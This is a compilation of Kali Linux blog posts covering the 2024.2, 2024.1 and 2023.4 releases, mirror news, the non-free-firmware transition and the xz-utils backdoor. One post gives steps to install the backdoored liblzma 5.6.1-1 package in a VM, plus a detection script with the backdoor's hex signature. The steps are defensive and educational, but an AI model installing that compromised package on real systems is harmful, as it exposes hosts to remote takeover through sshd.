#1 SMP PREEMPT_DYNAMIC Kali 6.8.11-1kali2 (2024-05-30)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.8.11-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

Want to keep up-to-date easier? We’ve got you!

Blog? Use our RSS feeds and newsletter
Download? We have a Torrent RSS feed
Socials? Facebook, Instagram, Mastodon & Twitter/X

Kali Linux 2024.2 Release (t64, GNOME 46 & Community Packages)

Wed, 05 Jun 2024 00:00:00 +0000

A little later than usual, but Kali 2024.2 is here! The delay has been due to changes under the hood to make this happen, which is where a lot of focus has been. The community has helped out a huge amount, and this time they’ve not only been adding new packages, but updating and fixing bugs too! If you are reading this, Kali 2024.2 is finally ready to be downloaded or upgraded if you have an existing Kali Linux installation.

The summary of the changelog since the 2024.1 release from February is:

t64 - Future package compatibility for 32-bit platforms
Desktop Changes - GNOME 46 & Xfce improvements
New Tools - 17x new tools, and countless updates

The t64 transition is done in Kali

Kali Linux is a rolling distribution based on Debian testing, and as such, all the work done in Debian is incorporated in Kali pretty quickly after it lands in Debian testing. We have some solid QA and automation for that to happen, and usually most packages just “roll in” with minimal intervention from the Kali team. Our QA tells us when new packages from Debian break packages in Kali: in those cases packages are stuck in kali-dev (a development suite that is NOT meant to be used by end users), we fix it, and then they are allowed to roll in kali-rolling (which is what most end users use). This is part of what the Kali team does every day.

During the last cycle, this routine was interrupted by a major change in Debian: the t64 transition. What is that? In short: t64 refers to 64-bit time_t type. For those not familiar with C, time_t is the type to store a Unix timestamp (quantity of seconds relative to the Unix Epoch), and the size for this type depends on the architecture. For those architectures that have a 32-bit time_t type, there will be an issue in the year 2038, as the maximum value possible will be reached, and the value will roll over beyond +2147483647 into negative values. The glibc page has all the technical details, for those who want to read more.

To prevent the Year 2038 issue, the size for the time_t type had to be changed to be 64-bit, on those architectures where it was 32-bit. For Kali Linux, that means the two 32-bit ARM architectures that we support: armhf and armel. These architectures are used mainly for ARM images (eg. Raspberry Pi) and a few NetHunter images. Note that the i386 architecture (ie. legacy PC) didn’t change: this architecture still will have a 32-bit time_t type, and that will not change. Kali has always treated ARM platform as a first-class citizen.

Changing the size of a widely used type provided by the C library is a big deal. It means that a huge number of packages need to be rebuilt, it is in fact the largest ABI transition ever done in Debian. And in a sense, it affects all architectures, as all libraries that expose a time_t type were rebuilt and renamed with a t64 suffix, even for those architectures where the type was already 64-bit (in this case, the only change is a package rename).

Enough background, now what does it mean for Kali users?

The transition was completed in kali-rolling on Monday 20th May, and is now released with Kali 2024.2. For users of Kali rolling who updated their system, the transition is behind them already.
The vast majority of Kali users are running on amd64 or arm64: the only visible change will be a lot of packages upgraded, and a lot of new packages with a t64 suffix in their name. Since there was no ABI change for those architectures, there should be no issue. Additionally, old packages (without t64 suffix) are co-installable with the new t64 packages, so upgrading should be no problem for APT.
The users that might be impacted are those running Kali on a armel or armhf ARM board. If you upgrade your system, make sure to use the command apt full-upgrade (do NOT use apt upgrade) , as documented already. After your system is upgraded, hopefully all goes well and works as usual, but if ever you notice issues, please report it on the Kali Linux bugtracker.

So just to repeat it again, for those who jumped straight to the last line: please upgrade your system as documented, using the pair of commands apt update && apt full-upgrade, and everything should be fine. Please report bugs in case of issues. Thank you!

Desktop changes

GNOME 46

Roughly every half-year, there is a new version bump for the GNOME desktop environment. Of which, Kali 2024.2 brings the latest version, GNOME 46. As you would expect, this is a more polished experience following the work introduced in previous versions.

All themes and extensions have been updated to support the new shell:

Xfce desktop changes

We are excited to announce updates to the Xfce desktop, specifically for Kali-Undercover and HiDPI modes. These updates enhance stability and include several minor bug fixes, ensuring better support for the latest desktop improvements.

New Tools in Kali

There has not been a single Kali release without any new shiny tools added, and this release is no exception. We are overjoyed that there have been multiple tools packaged up from the community, which are now in Kali too! It goes without saying that countless packages have been updated to the latest version, however the summary of new tools which have been added (to the network repositories):

autorecon - Multi-threaded network reconnaissance tool (Submitted by Arszilla)
coercer - Automatically coerce a Windows server to authenticate on an arbitrary machine (Submitted by Caster)
dploot - Python rewrite of SharpDPAPI (Submitted by Arszilla)
getsploit - Command line utility for searching and downloading exploits (Submitted by Arszilla)
gowitness - Web screenshot utility using Chrome Headless
horst - Highly Optimized Radio Scanning Tool
ligolo-ng - Advanced, yet simple, tunneling/pivoting tool that uses a TUN interface
mitm6 - pwning IPv4 via IPv6 (Submitted by Caster)
pspy - Monitor Linux processes without root permissions
pyinstaller - Converts (packages) Python programs into stand-alone executables.
pyinstxtractor - PyInstalller Extractor (Submitted by Arszilla)
sharpshooter - Payload Generation Framework
sickle - Payload development tool (Submitted by Arszilla)
snort - Flexible Network Intrusion Detection System
sploitscan - Search for CVE information
vopono - Run applications through VPN tunnels with temporary network namespaces (Submitted by Arszilla)
waybackpy - Access Wayback Machine’s API using Python (Submitted by Arszilla)

There have also been numerous new libraries as well!

We just missed out on having kernel 6.8 included. It will be available shortly after this release and may already be out by the time of reading.

Miscellaneous

There have been a few mirror tweaks and changes to Kali which we are calling out below as they don’t need much detail:

During testing, a bug was found in 6.6 kernel which could causes slow downs and system crashes when using certain virtualization software. This has been addressed in the upcoming 6.8 kernel.
nmap has been tweaked, allowing for users to run privileged TCP SYN (Stealth) scans (-sS) without using sudo or being root.

Kali NetHunter Updates

There have been also a few improvements to Kali NetHunter over the last few months, such as:

Support for Android 14
The long awaited modules loader has been added by @yesimxev
Class selection for Bad Bluetooth also by @yesimxev
We also improved the permission and root validations
Thanks to @shubhamvis98, who added Bluetooth rubberducky support
There have been various fixes though-out
Kali NetHunter Pro images will be out shortly after the release, due to t64

With all of this, 5x new Kali NetHunter kernels covering:

Huawei P9 for LineageOS 16
Nothing Phone 1 for Android 12, 13 & 14
Poco F3 for Android 14

Kali ARM SBC Updates

Kali on ARM Single Board Computer (SBC) devices has also received a few changes:

Gateworks Newport kernel updated to 5.15
Raspberry Pi 5 kernel updated to 6.1.77
Unfortunately we cannot provide support for Gateworks Ventana, and as a result no longer are able to offer a pre-built image

Kali Documentation

Our Kali documentation has had several updates to existing pages as well as new pages:

AWS (updated)
Fixing Dual Boot (new)
Install NVIDIA GPU Drivers (updated)
Installing VirtualBox on Kali (Host) (updated)
Installing VMware on Kali (Host) (updated)
Kali inside Proxmox (Guest VM) (updated)
Porting NetHunter to New Devices with kernel builder (updated)
Updating a Package (new)

Kali Blog Recap

Since 2024.1, there was a lot of activity around xz-utils, which is why we published the following blog posts:

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release, and we wanted to praise them for their work (we like to give credit where due!):

Packaging:

Kali Documentation:

Tool Documentation:

Simon Bennetts

Support:

Salty_

Kali is open-source, allowing YOU to help out. Anyone is able to get involved!

New Kali Mirrors

During this release cycle, we welcomed 7 new mirrors! Thanks to all of you who reached out and helped with distributing Kali around the world.

So we have 3 new mirrors in North America:

Canada: kali.mirror.rafal.ca
US: mirror.math.princeton.edu sponsored by the Princeton University, Department of Mathematics and thanks to Benjamin Rose
US: ftp2.osuosl.org sponsored by the Oregon State University Open Source Lab (OSUOSL) and thanks to Lance Albertson

Then 3 new mirrors in Asia:

Singapore: mirror.freedif.org
Taiwan: free.nchc.org.tw sponsored by the National Center for High-Performance Computing and thanks to Ceasar Sun
Taiwan: mirror.twds.com.tw sponsored by Taiwan Digital Streaming Co. and thanks to Jasper Yu

And finally, the Micro Mirror CDN provided us with a new mirror in Europe:

Switzerland: ipng.mm.fcix.net sponsored by IPng Networks.

If you have the disk space and bandwidth, we always welcome new mirrors.

Kali Team Discord Chat

We are keeping the tradition going and doing another hour long voice chat with the Kali team and community. If you want your questions answered or your ideas heard, this is the place for it! We just hope they are related to Kali or the information security industry.

The next session will happen a week after the release, Friday, 21st June 2024 17:00 -> 18:00 UTC/+0 GMT on OffSec’s Discord.

Please note, we will not be recording this event - it is live only.

Get Kali Linux 2024.2

Fresh Images: So what are you waiting for? Get Kali!

For those who are new to Kali Linux, you may not be aware that we also produce weekly builds, which are also available for download. If you are eager to get the latest packages and bug fixes without waiting for our next release, the weekly image is a great option. This will save you from having to do more updates later on. However, please note that these weekly builds are automated and have not undergone the same level of testing as our standard release images. We still appreciate any bug reports you may have, as we want to address any issues before our next release.

Existing Installs: If you already have an existing Kali Linux installation, remember you can update it by doing:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2024.2. We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2024.2"
VERSION_ID="2024.2"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.6.15-2kali1 (2024-05-17)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.6.15-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

If you encounter any issues or bugs in Kali, please report them to our dedicated bug tracker. Your feedback is crucial in helping us identify and fix problems. Remember, we can not fix what we do not know is broken! Do not rely on social media to report bugs; instead, use our official bug tracker to ensure your issues are properly documented and addressed.

Want to keep up-to-date easier? We’ve got you!

Blog? Use our RSS feeds and newsletter
Download? We have a Torrent RSS feed
Socials? Facebook, Instagram, Mastodon & Twitter/X

xz-utils backdoor: how to get started

Mon, 01 Apr 2024 00:00:00 +0000

Following the recent disclosure of a backdoor in upstream xz/liblzma, we are writing this “get started” kind of blog post. We will explain how to setup an environment with the backdoored version of liblzma, and then the first commands to run to validate that the backdoor is installed. All in all, it should just take a few minutes, and there’s no learning curve, it’s all very simple.

This blog post is aimed at all the enthusiasts that are following the news as the events unfold, and who are eager to have their hands on the keyboard, running a few commands in a terminal rather than just reading about it. This is really beginner level, and we’ll just reproduce the easiest findings that were reported in the initial disclosure. Nothing groundbreaking here, sorry ;)

Setting up the environment

First thing first: we’re going to need a Virtual Machine (or VM for short). The fastest is probably to just download a pre-built image from the Kali Linux download page, either the current 2024.1 release or the latest weekly image, at your preference.

When the image is downloaded, let’s start it. Don’t know how? We have documentation for each type of image: VirtualBox, VMware and Hyper-V. For QEMU, its simple enough to create a new VM.

Now our VM is up and running, so we’re going to download and install a version of liblzma that contains the backdoor. Even though the package was pulled out of Linux distributions, it’s still widely available on the Internet. For this how-to, we’re going to get it from the Debian snapshot service. Since Kali is based on Debian, and liblzma only depends on the libc, it’s Ok to install the Debian package in Kali, we shouldn’t run into any incompatibility issue.

A note for clarity: xz-utils is the name of the upstream repository, it provides the well-known command xz to compress and decompress files, but it also provides the library liblzma , which is the compromised library that everyone is talking about at the moment. And it is via this library that a backdoor gets added to the SSH daemon… Clear?

The upstream versions 5.6.0 and 5.6.1 of xz-utils are known to contain the backdoor, so let’s grab the Debian package 5.6.1-1.

Within the VM, let’s open a terminal and get it with:

kali@kali:~$ wget https://snapshot.debian.org/archive/debian/20240328T025657Z/pool/main/x/xz-utils/liblzma5_5.6.1-1_amd64.deb

And now let’s install the package:

A word of caution for those who are not paying attention: below, we are purposefully installing a package that contains a backdoor! Obviously you are running those steps in a Virtual Machine, and this Virtual Machine is not exposed to the Internet.

kali@kali:~$ sudo apt-get install --allow-downgrades --yes ./liblzma5_5.6.1-1_amd64.deb

Next step is to start (or restart) the SSH daemon:

kali@kali:~$ sudo systemctl restart ssh

What’s next? Let’s find out!

Confirm that liblzma is compromised

First, we can detect if the version of liblzma contains the backdoor, thanks to a script from Vegard Nossum, that was provided in the disclosure.

Let’s create the script:

kali@kali:~$ cat << 'EOF' > detect.sh
#! /bin/bash
set -eu
# find path to liblzma used by sshd
path="$(ldd $(which sshd) | grep liblzma | grep -o '/[^ ]*')"
# does it even exist?
if [ "$path" == "" ]
then
echo probably not vulnerable
exit
fi
# check for function signature
if hexdump -ve '1/1 "%.2x"' "$path" | grep -q f30f1efa554889f54c89ce5389fb81e7000000804883ec28488954241848894c2410
then
echo probably vulnerable
else
echo probably not vulnerable
fi
EOF

Make it executable, and then run it:

kali@kali:~$ chmod +x detect.sh
kali@kali:~$
kali@kali:~$ ./detect.sh
probably vulnerable

The output from the command above should be probably vulnerable, meaning that the backdoor was detected in the library.

But wait, how does that work? The command hexdump -ve '1/1 "%.2x"' <<file>> will dump a file in hexadecimal form, without any formatting, just a looooong hexa string. The script does that with liblzma, and then matches a pattern (also in hexadecimal form) that belongs to the exploit. That’s all there is to it, and it’s enough to detect it.

Confirm that the SSH daemon is slower than usual

First, for this test we need to make sure that password authentication is disabled, in the settings of the SSH daemon:

kali@kali:~$ sudo sed -E -i 's/^#?PasswordAuthentication .*/PasswordAuthentication no/' /etc/ssh/sshd_config

Then restart the daemon:

kali@kali:~$ sudo systemctl restart ssh

And now, let’s try to login as a non existant user, and time it:

kali@kali:~$ time ssh nonexistant@localhost
nonexistant@localhost: Permission denied (publickey).
real 0.31s
user 0.05s
sys 0.00s
cpu 17%

There’s no “right value” here, as it’s highly dependent on your particular setup. However, what we want is to get an idea of how much time it takes, so let’s run the command a couple of times, to make sure that the results are consistent. In my tests, results are indeed very consistent, I get real 0.30s almost all the time.

Now let’s re-install the non-backdoored version of liblzma:

kali@kali:~$ sudo apt update && sudo apt install --yes liblzma5
[...]
Get:1 http://http.kali.org/kali kali-rolling/main amd64 liblzma5 amd64 5.6.1+really5.4.5-1 [240 kB]
[...]

At the time of this writing, the version of the lzma5 package in Kali rolling is 5.6.1+really5.4.5-1, as shown above.

Now, let’s try the SSH login again, and time it:

kali@kali:~$ time ssh nonexistant@localhost
nonexistant@localhost: Permission denied (publickey).
real 0.13s
user 0.05s
sys 0.00s
cpu 41%

As we can see, the difference in timings is pretty clear, it’s much faster without the backdoor!

Acknowledgments

As said in the introduction, this blog post is nothing new, it’s merely a step-by-step to reproduce some findings from the original disclosure. All the credits (massive credits actually) go to Andres Freund for the fantastic work and detailed report, and Vegard Nossum for the detect.sh script.

All about the xz-utils backdoor

Fri, 29 Mar 2024 00:00:00 +0000

As of 5:00 pm ET on March 29, 2024 the following information is accurate. Should there be updates to this situation, they will be edited onto this blog post.

The xz-utils package, starting from versions 5.6.0 to 5.6.1, was found to contain a backdoor (CVE-2024-3094). This backdoor could potentially allow a malicious actor to compromise sshd authentication, granting unauthorized access to the entire system remotely.

With a library this widely used, the severity of this vulnerability poses a threat to the entire Linux ecosystem. Luckily, this issue was caught quickly so the impact was significantly less than it could have been. It has already been patched in Debian, and therefore, Kali Linux.

The impact of this vulnerability affected Kali between March 26th to March 29th, during which time xz-utils 5.6.0-0.2 was available. If you updated your Kali installation on or after March 26th, but before March 29th, it is crucial to apply the latest updates today to address this issue. However, if you did not update your Kali installation before the 26th, you are not affected by this backdoor vulnerability.

Should you wish to check if you have the vulnerable version installed, we can perform the following command:

kali@kali:~$ apt-cache policy liblzma5
liblzma5:
 Installed: 5.4.5-0.3
 Candidate: 5.6.1+really5.4.5-1
 Version table:
    5.6.1+really5.4.5-1 500
       500 http://kali.download/kali kali-rolling/main amd64 Packages
*** 5.4.5-0.3 100
       100 /var/lib/dpkg/status

If we see the version 5.6.0-0.2 next to Installed: then we must upgrade to the latest version, 5.6.1+really5.4.5-1. We can do this with the following commands:

kali@kali:~$ sudo apt update && sudo apt install -y --only-upgrade liblzma5
...
kali@kali:~$

More information can be found at Help Net Security for a summarized post on the details of the vulnerability, Openwall for the initial disclosure, and NIST’s NVD entry for this vulnerability.

Kali Linux 2024.1 Release (Micro Mirror)

Wed, 28 Feb 2024 00:00:00 +0000

Hello 2024! Today we are unveiling Kali Linux 2024.1. As this is our the first release of the year, it does include new visual elements! Along with this we also have some exciting new mirrors to talk about, and of course some package changes - both new tools and upgrades to existing ones. If you want to see the new theme for yourself and maybe try out one of those new mirrors, download a new image or upgrade if you have an existing Kali Linux installation.

The summary of the changelog since the 2023.4 release from December is:

Micro Mirror Free Software CDN - FCIX Software Mirror reached out offering to host our images, and we said yes
2024 Theme Refresh - Our yearly theme refresh with all new wallpapers and GRUB theme
Other Desktop Environment Changes - A few new tweaks to our default environments
NetHunter Updates - NetHunter Rootless for Android 14, Bad Bluetooth HID attacks, and other updates
New Tools - As always, various new shiny tools!

Introducing the Micro Mirror Free Software CDN

With this latest release of Kali Linux, our network of community mirrors grew much stronger, thanks to the help of the Micro Mirror CDN! Here’s the story.

Last month we replied to a long-forgotten email from Kenneth Finnegan from the FCIX Software Mirror. The FCIX is a rather big mirror located in California, and they reached out to offer to host the Kali images on their mirror. To which we answered yes please, and that was it; shortly after, the Kali images were added to the FCIX mirror. So far so good, and it could have been the end of the story, but then Kenneth followed up:

We’re now also operating another 32 other mirrors which are optimized for minimal storage and hosting only the highest traffic projects […] Would the Kali project be willing to accept ten additional mirrors from the FCIX organization?

Wow, 10 additional mirrors, that sounds very nice indeed! But, wait, 32 mirrors??? How come? Where do all those mirrors come from? That was intriguing. As it turns out, Kenneth operates a network of mirrors, which was officially announced back in May 2023 on his blog: Building the Micro Mirror Free Software CDN. For anyone interested in Internet infrastructure, we encourage you to read it, that’s a well-written blog post right there, waiting for you.

So what is the Micro Mirror CDN exactly? One-liner: a network of mirrors dedicated to serving Linux and Free Software. Contrary to traditional mirrors that host around 50TB of project files, Micro Mirrors are machines with “only” a few TB of storage, that focus on hosting only the most high-demand projects. In other words: they provide additional bandwidth where it’s needed the most. Another important difference with traditional mirrors is that those machines are not managed by the sponsor (the organization that funds the mirror). Usually, a sponsor provides the bandwidth, the mirror, and also administrates it. While here, the sponsor only provides the bandwidth, and it’s the FCIX Micro Mirror team that does everything else: buy the hardware, ship it to the data-center, and then manage it remotely via their public Ansible playbook.

For anyone familiar with mirroring, it’s quite exciting to see such a project taking shape. Free software and Linux distributions have been distributed thanks to community-supported mirrors for almost three decades now, it’s a long tradition. It’s true that we’ve seen some changes over the last years, and these days some of the biggest FOSS projects are entirely distributed via a CDN, leaving behind the mirroring system. For Kali Linux we use a mixed approach: it is distributed in part thanks to 50+ mirrors across the world, and in part thanks to the Cloudflare CDN that acts as a ubiquitous mirror. We are lucky to benefit from a very generous sponsorship from Cloudflare since 2019. But smaller or newer projects don’t get this chance, thus community mirrors are still essential to free software distribution. That’s why it’s nice to see a project like the Micro Mirror CDN, it’s a novel approach in the field of mirroring, and with Kali Linux we are very grateful to be part of the journey.

For any organization out there that has spare bandwidth and wants to support free software, the Micro Mirror project might be something you are interested in. You might want to look at their product brief for a more thorough description of the service, and email mirror at fcix dot net for more information. we’ll just quote one line that summarize it really well:

From the hosting sponsor’s perspective, the Micro Mirror is a turnkey appliance, where they only need to provide network connectivity and remote hands to install the hardware, where all sysadmin and monitor work is handled by the FCIX team with the economy of scale on our side.

A big thanks to the FCIX team, and Kenneth Finnegan in particular, for their generous offer. Thanks to their help, the Kali images are now served from ten additional mirrors: seven in the US, one in Colombia, one in the UK and one in Australia.

And while we are talking about mirrors: we also got plenty of new mirrors from various sponsors during this release cycle, check the dedicated section below for details.

2024 Theme Refresh

As for previous 20**.1 releases, this update brings with it our annual theme refresh, a tradition that keeps our interface as cutting-edge as our tools. This year marks the unveiling of our newest theme, meticulously crafted to enhance user experience from the moment you boot up. With significant updates to the boot menu, login display, and an array of captivating desktop wallpapers, for both our regular Kali and Kali Purple editions. We are dedicated to not only advancing our cybersecurity capabilities but also ensuring that the aesthetic appeal of our platform matches the power within.

Boot menu:

Login display:

Desktop:

Kali-Purple desktop:

New wallpapers:

Special thanks to @arszilla for not only suggesting two wallpaper variants but also contributing to the creation of one of the default wallpapers featured in this release. These additional images were crafted to complement the background colors of the Nord and Dracula color schemes. To access these wallpapers, simply install the kali-community-wallpapers package, which also offer many other stunning backgrounds created by our community contributors.

Other desktop changes

Xfce

We are excited to introduce a convenient enhancement to our Xfce desktop. Now, users can effortlessly copy their VPN IP address to the clipboard with just a click, simplifying the workflow and enhancing productivity for our users. To take advantage of this functionality, ensure that xclip is installed on your system (sudo apt update && sudo apt -y install xclip). With this improvement, managing your VPN connections on Kali Linux becomes even more seamless and intuitive.

Thank you @lucas.parsy for your contribution that made this feature possible!

Other Xfce changes:

Kali-undercover updated to fix compatibility with latest Xfce
Fixed a bug with xfce-panel and Kali’s customized cpugraph plug-in

Gnome-Shell

For Gnome desktop one notable change is the replacement of the eye-of-gnome (eog) image viewer with Loupe, continuing the transition to GTK4 based applications. Additionally, the latest update of Nautilus file manager arrived to Kali’s repositories, delivering a significant boost in file search speed and introducing a refreshed sidebar design.

Icon Theme

Following with the desktop enhancements, we’ve added a few new app icons, ensuring a fully themed experience for default installations of Kali Linux. Additionally, we’ve refreshed our icon theme with new symbolic icons, enhancing consistency system-wide.

Kali NetHunter Updates

We finally got our hands on a brand new Samsung Galaxy S24 Ultra and yes!, NetHunter rootless runs like a dream. Fortunately, Android 14 lets us disable child process restrictions in developer settings so we no longer have to use the adb command line to enable KeX support. We have updated our documentation to reflect these changes.

@yesimxev managed to add the popular Bad Bluetooth HID attack the the NetHunter app for both phones and even smartwatches!

Your browser does not support the video tag.

The icons for our NetHunter and NHTerm apps have received a makeover and @kimocoder & @martinvlba spent countless days updating the codebase to ensure compatibility with the latest Android version.

The community engagement is at an all time high, which is reflected by the following new kernels:

Realme C15
TicWatch Pro 3
(Updated) Samsung Galaxy S9+
Xiaomi Poco X3 NFC

Thanks heaps to everyone that contributed, we wouldn’t be here without you!

Stay tuned as there are many more kernels already on the way!

New Tools in Kali

The following new tools made it into this Kali release (via the network repositories):

blue-hydra - Bluetooth device discovery service
opentaxii - TAXII server implementation from EclecticIQ
readpe - Command-line tools to manipulate Windows PE files
snort - Flexible Network Intrusion Detection System

The focus was adding new libraries this release, and there is always numerous packages updates. Plus we also bump the Kali kernel to 6.6!

Community Packages

There has also been a tool submitted from the community which has been merged into Kali:

above - Invisible protocol sniffer for finding vulnerabilities in the network

If you are wanting a tool in Kali quicker than what we can add, please see our blog post from a previous release.

Miscellaneous

Below are a few other things which have been updated in Kali, which we are calling out which do not have as much detail:

Due to the ongoing /usr-merge transition in Debian, using 2023.4 or older versions of our netboot images will no longer work. Make sure to either grab weekly image or Kali 2024.1!
Friendly reminder, if you are getting “weird special characters” when trying to use keyboard shortcuts to copy/paste clipboard, the default is to use “ctrl+shift+c” and “ctrl+shift+v”.
- ctrl+c (without shift) in Unix is used to kill programs!
- Should you wish, you can alter the default behaviour in your favourite terminal program

Kali Website Updates

Kali Documentation

Our Kali documentation has had various updates:

Installing VMware on Apple Silicon (M1/M2/M3) Macs (Host) (updated)
Kali Installation Sizes (updated)

A way to make a project even stronger is to help its documentation. Kali is no exception. If you are able to please do contributed.

Tool Documentation

Our tool documentation is always getting various updates from us, but we received a great contribution from Daniel:

Dradis

If you are wanting to help Kali, and give back, submitting to kali.org/tools is a great way to contributed.

Kali Blog Recap

Since our last release, we did the following blog posts:

Community Shout-Outs

These are people from the public who have helped Kali and the team for the last release. And we want to praise them for their work (we like to give credit where due!):

Anyone can help out, anyone can get involved!

New Kali Mirrors

We have some new mirrors! Plenty of new mirrors, in fact. The last quarter was quite incredible on this front, and now is the time to give credits.

Let’s start with North America:

US: mirror.fcix.net sponsored by FCIX aka. the Fremont Cabal Internet Exchange. Thanks to Kenneth Finnegan for reaching out… one and a half year ago! Thankfully we rediscovered the email and that was worth it.
Canada: mirror.xenyth.net sponsored by Xenyth Cloud, and thanks to Sepehr Ahmadi.
Canada: mirror.quantum5.ca sponsored by Dynamic Quantum Networks, and thanks to Guanzhong Chen.
Canada: mirror.accuris.ca sponsored by Accuris Technologies Ltd., thanks to Peter Potvin.
Canada: mirror.0xem.ma sponsored by Emma Ruby.

Now for the rest of the world:

Chile: elmirror.cl, sponsored by ElMirror, and thanks to Jonathan Gutierrez, who also maintains the other Kali Linux mirror in Chile: mirror.ufro.cl. As a reminder: we really lack mirrors in South America, any help would be welcome to help Kali reach this part of the world.
China: mirrors.ustc.edu.cn, sponsored by the USTC aka. the University of Science and Technology of China, and thanks to Keyu Tao.
France: mirror.johnnybegood.fr, sponsored by the Johnnybegood Society.
Portugal: mirror.leitecastro.com, sponsored by Tomás Leite de Castro.
South Korea: mirror.amuksa.com.

On top of that, as said above, there is now the Micro Mirror CDN that serves Kali images via 10 points of presence: 7 in the US, 1 in Colombia, 1 in the UK and 1 in Australia!

To wrap that up: THANK YOU to all of you, individuals and companies, who provide bandwidth and help us distribute Kali to everyone out there!

If you have the disk space and bandwidth, we always welcome new mirrors.

Kali Team Discord Chat

Since the launch of our Discord server with Kali 2022.3, we have been doing an hour long voice chat with a number of Kali team members. This is when anyone can ask questions (hopefully relating to Kali or the information security industry) to us.

The next session will happen a little later than normal, Friday, 22nd March 2024 18:00 -> 19:00 UTC/+0 GMT. It will once again be on OffSec’s Discord.

Please note, we will not be making a recording of this event - its live only.

Get Kali Linux 2024.1

Fresh Images: So what are you waiting for? Go get Kali already!

Existing Installs: If you already have an existing Kali Linux installation, remember you can always do a quick update:

┌──(kali㉿kali)-[~]
└─$ echo "deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware" | sudo tee /etc/apt/sources.list
[...]
┌──(kali㉿kali)-[~]
└─$ sudo apt update && sudo apt -y full-upgrade
[...]
┌──(kali㉿kali)-[~]
└─$ cp -vrbi /etc/skel/. ~/
[...]
┌──(kali㉿kali)-[~]
└─$ [ -f /var/run/reboot-required ] && sudo reboot -f

You should now be on Kali Linux 2024.1 We can do a quick check by doing:

┌──(kali㉿kali)-[~]
└─$ grep VERSION /etc/os-release
VERSION="2024.1"
VERSION_ID="2024.1"
VERSION_CODENAME="kali-rolling"
┌──(kali㉿kali)-[~]
└─$ uname -v
#1 SMP PREEMPT_DYNAMIC Kali 6.6.9-1kali1 (2024-01-08)
┌──(kali㉿kali)-[~]
└─$ uname -r
6.6.9-amd64

NOTE: The output of uname -r may be different depending on the system architecture.

Want to keep in up-to-date easier? Automate it! We have a RSS feeds and newsletter of our blog to help you.

Kali Linux DEI Promise

Mon, 29 Jan 2024 00:00:00 +0000

Last month we were privileged to be invited by GitLab to participate in the introduction of GitLab’s DEI Badging integration. Diversity, Equity, and Inclusion (DEI) badging is an initiative that the Community Health Analytics in Open Source Software (CHAOSS) project created to acknowledge and encourage open source projects’ efforts.

Since we first heard of this initiative we have been very excited for the launch. Inclusion in the open source space has always been important and the cornerstone of what makes open source work. This sort of formalization of what inclusion means and how we execute on it is an important step forward in the maturation of open source projects in general. Kali Linux is an open-source, multi-platform, distribution for all users, and with this effort we have the opportunity to make that explicit. We are also proud to say that we have already received our badge, as the first GitLab project to do so, aside from GitLab themselves of course!

For our part in this initiative, we have published our DEI.md statement file and promise to continue working on this. We will be putting effort into increasing visibility of our operations in our GitLab group, availability of resources, documentation, and improving and increasing opportunities available for our community and partners to contribute. We are committed to working on this for years to come, and plan to continue to improve upon our work through feedback and thorough review.

The great non-free-firmware transition

Mon, 22 Jan 2024 00:00:00 +0000

TL;DR: Dear Kali user, when you have a moment, check your /etc/apt/sources.list, and add non-free-firmware if ever it’s missing.

Programmatically speaking:

kali@kali:~$ sudo sed -i 's/non-free$/non-free non-free-firmware/' /etc/apt/sources.list

Long story now.

As you might know already, Kali Linux is a Debian-based Linux distribution. As such, it inherits a number of things from Debian, and in particular, the structure of the package repository.

For anyone familiar with Kali, you already know that the package repository is split into different archive areas (also called components). Historically, there’s always been 3 components: main, contrib and non-free. However, this changed last year, when Debian introduced a new component called non-free-firmware.

Kali Linux followed suite, and introduced the non-free-firmware component back in version 2023.1. However, so far it’s been empty, and firmware were still part of the non-free component. This changed last week: firmware are now located in the non-free-firmware component. In practice, it means that non-free-firmware must be enabled in your /etc/apt/sources.list, otherwise firmware would not get updated when you run your favorite command apt update && apt full-upgrade.

For anyone who installed Kali post 2023.1, non-free-firmware is already enabled in your sources.list. But it does not hurt to check, so here’s how it should look like:

kali@kali:~$ cat /etc/apt/sources.list
deb http://http.kali.org/kali kali-rolling main contrib non-free non-free-firmware

If ever non-free-firmware is missing, please edit the file /etc/apt/sources.list to add it. Or, just do it with this one-liner:

kali@kali:~$ sudo sed -i 's/non-free$/non-free non-free-firmware/' /etc/apt/sources.list

Then complete the job with the traditional sudo apt update. No error? You’re done.

Thanks for your attention!

Kali Linux 2023.4 Release (Cloud ARM64, Vagrant Hyper-V & Raspberry Pi 5)

Tue, 05 Dec 2023 00:00:00 +0000

With 2023 coming to an end and before the holiday season starts, we thought today would be a good time to release Kali 2023.4. Whilst this release may not have the most end-user features in it again, there are a number of new platform offerings and there has still been a lot of changes going on behind-the-scenes for us, which has a positive knock-on effect resulting in a benefit for everyone. News, platforms, and features aside, it would not be a Kali release if there was not a number of changes to our packages - both new tools and upgrades to existing ones. If you want to see what is new for yourself download a new image or upgrade if you already have a Kali Linux installation.

The summary of the changelog since the 2023.3 release from August is:

Cloud ARM64 - Now Amazon AWS and Microsoft Azure marketplaces have an ARM64 option
Vagrant Hyper-V - Our Vagrant offering now supports Hyper-V
Raspberry Pi 5 - Kali on the latest Raspberry Pi foundation device
GNOME 45 - Kali theme is on the latest versions
Internal Infrastructure - Peak at what is going on behind the scenes with mirrorbits
New Tools - As always, various new & updated packages

Cloud ARM64 Marketplaces

Starting from Kali 2023.4, we will now be offering both Kali Linux AMD64 and ARM64 on Amazon AWS and Microsoft Azure marketplaces.

The advantage that ARM64 brings to the table is more options and flexibility in instance offerings, which leads to improved price-to-performance ratio. The draw back is, even though Kali Linux has always treated ARM a first class citizen, not every package has an ARM64 offering - most do and we are working on improving this every day! Try setting up a lab in the cloud and performing your own benchmarks to compare performances.

Amazon AWS:

Microsoft Azure:

Kali Linux

